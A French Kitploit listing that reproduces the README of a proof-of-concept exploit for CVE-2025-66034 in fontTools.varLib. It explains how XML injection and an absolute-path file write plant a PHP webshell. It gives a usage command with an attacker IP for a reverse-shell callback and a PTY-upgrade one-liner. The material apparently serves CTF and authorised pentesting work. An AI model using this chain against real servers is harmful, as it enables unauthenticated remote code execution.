Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-66034 — CVE-2025-66034 - fontTools varLib Écriture arbitraire de fichier → RCE Preuve de concept (PoC) d'exploitation pour une vulnérabilité d'écriture arbitraire de fichier + injection XML dans fontTools.varLib. | Kitploit
Outils/GitHubGitHub/4nuxd/cve-2025-66034
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionDéveloppement de Charges Utiles
GitHub4nuxd/cve-2025-66034

CVE-2025-66034

CVE-2025-66034 - fontTools varLib Écriture arbitraire de fichier → RCE Preuve de concept (PoC) d'exploitation pour une vulnérabilité d'écriture arbitraire de fichier + injection XML dans fontTools.varLib.

Voir le dépôt
2il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-66034 — Écriture arbitraire de fichiers dans fontTools varLib → Exécution de code à distance (RCE)

Exploit PoC pour une vulnérabilité d'écriture arbitraire de fichiers + injection XML dans fontTools.varLib Testé sur HackTheBox — VarIaType


Vulnérabilité

fontTools.varLib traite des fichiers XML .designspace pour construire des polices variables. Deux faiblesses se combinent pour obtenir une exécution de code à distance (RCE) sans authentification :

#PrimitiveDétail
1Injection XML via split de CDATALe contenu contrôlé par l'attaquant dans <labelname> est écrit textuellement dans le corps du fichier de police de sortie, permettant l'injection de données arbitraires
2Écriture arbitraire de fichier via contournement de os.path.join()L'attribut filename de <variable-font> accepte un chemin absolu. Lorsqu'il est passé à os.path.join(), il ignore le répertoire de sortie prévu et écrit dans n'importe quel chemin du système de fichiers spécifié par l'attaquant

L'enchaînement des deux primitives permet d'écrire un webshell PHP dans un chemin accessible via le web, réalisant une exécution de code à distance sans authentification.


Utilisation

root@kitploit:~
python3 font_varlib.py \
  --ip <ip-attquant> \
  --port <port> \
  --upload http://cible.htb/tools/variable-font-generator/process \
  --webroot /var/www/portal.cible.htb/public/files \
  --shell http://portal.cible.htb/files

Options

OptionDescription
--ipIP de l'attaquant pour le callback du reverse shell
--portPort d'écoute
--uploadURL complète du point de terminaison de traitement des polices (POST)
--webrootChemin absolu côté serveur qui correspond à un répertoire accessible via le web
--shellURL de base sous laquelle le webshell sera accessible
--no-listenIgnorer l'écoute automatique — afficher les commandes manuelles à la place
--pwncatUtiliser pwncat-cs au lieu de nc (préféré si disponible)

Dépendances

root@kitploit:~
pip install requests fonttools

Fonctionnement

  1. Polices maîtresses — Deux fichiers .ttf minimaux (source-light.ttf, source-regular.ttf) sont générés à l'aide de fontTools.FontBuilder comme maîtresses requises pour le designspace
  2. .designspace malveillant — Un fichier XML est construit contenant :
    • Un webshell PHP injecté via un split de CDATA à l'intérieur de <labelname>
    • Un chemin d'écriture absolu défini comme filename de <variable-font>, contournant output_dir via os.path.join()
  3. Upload — Le .designspace + les polices maîtresses sont envoyés au point de terminaison de traitement
  4. Déclenchement — Le fichier .php placé est demandé, exécutant la charge utile du reverse shell
  5. Amélioration du TTY — À la connexion, le script lance automatiquement un PTY via python3 -c 'import pty; pty.spawn("/bin/bash")' et définit TERM + stty pour un shell entièrement interactif

Divulgation

Champ
CVECVE-2025-66034
Composant affectéfontTools.varLib
ImpactÉcriture arbitraire de fichier sans authentification → Exécution de code à distance
ContexteApplication web exposant un point de terminaison de traitement de polices

Légal

Cet outil est destiné uniquement aux tests d'intrusion autorisés et aux CTF. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.


par 4nuxd

Télécharger l’outil